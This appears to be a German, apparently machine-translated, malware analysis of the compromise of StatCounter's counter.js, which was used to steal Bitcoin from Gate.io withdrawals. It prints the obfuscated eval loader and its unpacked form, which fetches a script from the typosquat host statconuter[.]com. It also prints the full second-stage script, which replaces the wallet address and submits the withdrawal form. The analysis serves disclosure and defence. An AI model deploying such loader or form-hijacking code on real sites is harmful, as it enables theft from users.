Am 4. November haben Angreifer StatCounter, eine Plattform zur Analyse des Webverkehrs, kompromittiert. Der Dienst wird verwendet, um Statistiken über Website-Besucher zu sammeln, etwa wie bei Google Analytics. Zu diesem Zweck fügen Webmaster jeder Seite der Site ein externes JavaScript-Tag hinzu, das einen Teil des StatCounter-Codes enthält -
www.statcounter [.] Com / counter / counter.js. Mit StatCounter können Angreifer mithilfe dieser Plattform JavaScript-Code in alle Websites einfügen. Das Ziel des Angriffs war jedoch eine Ressource - der Gate.io-Kryptowährungsaustausch.
Nach eigenen
Angaben hat StatCounter mehr als zwei Millionen teilnehmende Websites und sammelt monatlich Statistiken über mehr als 10 Milliarden Webseitenaufrufe. Die Alexa-Bewertung liegt knapp über 5.000 (zum Vergleich: Die offizielle Debian Linux-Site debian.org hat eine vergleichbare Bewertung).

Die Angreifer haben das Skript unter
www.statcounter [.] Com / counter / counter.js geändert und einen Schadcode hinzugefügt, der in der folgenden Form in der Mitte des Skripts angezeigt wird. Dies ist ungewöhnlich, da häufig schädlicher Code am Anfang oder Ende einer legitimen Datei hinzugefügt wird. Code in der Mitte eines vorhandenen Skripts ist schwieriger zu erkennen, wenn Sie ihn nicht lesen.
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
Das Skript wurde mit dem Dean Edwards-Wrapper erstellt, dem wahrscheinlich beliebtesten JavaScript-Wrapper. Sie können es jedoch einfach entpacken, wodurch der eigentliche Skriptcode ausgeführt wird (siehe unten).
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
Das Code-Snippet prüft, ob die URL den
Myaccount / Rückzug / BTC der Unified Resource Identifier (URI)
enthält . Daraus können wir schließen, dass das Ziel der Angreifer die Bitcoin-Plattform ist. Nachdem das gewünschte Skript gefunden wurde, fügt es der Webseite ein neues Skriptelement hinzu, in das der Code
www.statconuter [.] Com / c.php eingebettet wird.
Bitte beachten Sie, dass die Angreifer eine Domain registriert haben, die dem legitimen StatCounter sehr ähnlich ist. Der Unterschied in zwei Buchstaben - es ist schwer zu bemerken, wenn Zeitschriften auf verdächtige Aktivitäten angesehen werden. Übrigens, als wir das passive DNS der Domain überprüften, stellten wir fest, dass sie 2010 für betriebliche Verstöße gesperrt war.

Auch hier zielt das Skript auf eine bestimmte Kennung (URI) ab:
myaccount / draw / BTC . Zum Zeitpunkt dieses Schreibens hatte unter allen Kryptowährungsbörsen nur Gate.io eine gültige Seite mit dieser URI. Es scheint, dass dieser besondere Austausch das Ziel des Angriffs war. Diese Seite ist sehr beliebt: Die Alexa-Bewertung beträgt 26.251 und die Bewertung in China 8.308.

Darüber hinaus fließen laut coinmarketcap.com täglich mehrere Millionen Dollar über diese Plattform, darunter 1,6 Millionen Dollar an Bitcoins. Im Allgemeinen ist das Interesse der Angreifer an Gate.io leicht zu erklären.

Die Webseite
www.gate [.] Io / mein Konto / Abheben / BTC (siehe unten) wird verwendet, um Bitcoins von einem Konto auf gate.io an eine externe Adresse zu übertragen.

Die Nutzlast der zweiten Stufe mit statconuter [.] Com / c.php dient zum Stehlen von Bitcoins. Das Skript, das ebenfalls mit Dean Edwards gepackt wurde, ist in die Webseite für die Übersetzung von Bitcoins in Gate.io eingebettet. Entpackte Version unten.
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
Die legitime Gate.io-Seite verfügt über eine
doSubmit
Funktion, die aufgerufen wird, wenn der Benutzer auf die Schaltfläche "
doSubmit
klickt. In unserem Fall haben die Angreifer dies geändert.
Das schädliche Skript ersetzt automatisch die Bitcoin-Wallet-Adresse des Benutzers durch die Adresse des Angreifers, z. B.
1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
. Der Angreifer-Server generiert jedes Mal eine neue Adresse, wenn ein Besucher das Skript statconuter [.] Com / c.php herunterlädt.
Das Skript verwendet den vom Opfer eingegebenen Betrag (wenn das Opfer mehr als zehn Bitcoins überträgt) oder das tägliche Limit zum Entfernen der Kryptowährung vom Konto. In unserem Testkonto wurde das Abschreibungslimit auf 100 BTC festgelegt. Schließlich sendet das Skript ein Formular, mit dem Geld vom Konto des Opfers an die Brieftaschenadresse des Angreifers überwiesen wird.
Die Umleitung von Geldern erfolgt wahrscheinlich unsichtbar für die Opfer, da die Brieftasche nach dem Klicken auf die Schaltfläche "Senden" geändert wird. Dies geschieht sehr schnell und ohne visuelle Anzeige.
Jedes Mal, wenn ein bösartiges Skript angefordert wird, wird eine neue Bitcoin-Adresse der Cyberkriminellen generiert, sodass wir deren Einkommen nicht schätzen können. Wenn Sie die Adresse überprüfen, die wir auf dem Testgerät verwendet haben, ist die Waage Null.

Fazit
Wir wissen nicht, wie viele Bitcoins während dieses Angriffs gestohlen wurden. Der Vorfall zeigt jedoch, wie Angreifer eine bestimmte Ressource angreifen können, insbesondere einen Kryptowährungsaustausch. Um Bitcoins von Benutzern einer Börse zu stehlen, haben sie die Analyseplattform kompromittiert, die Millionen von Websites verwenden, einschließlich mehrerer Regierungsseiten.
Darüber hinaus zeigt es, dass Ihre Website auch dann, wenn sie aktualisiert und zuverlässig geschützt wird, anfällig für Angriffe durch Ressourcen von Drittanbietern ist. Eine weitere Erinnerung daran, dass sich externer JavaScript-Code von Drittanbietern jederzeit ohne vorherige Ankündigung ändern kann.
Wir haben StatCounter und Gate.io vor böswilligen Aktivitäten gewarnt.
Kompromissindikatoren
Schädliche URLs•
www.statcounter [.] Com / counter / counter.js
•
www.statconuter [.] Com / c.php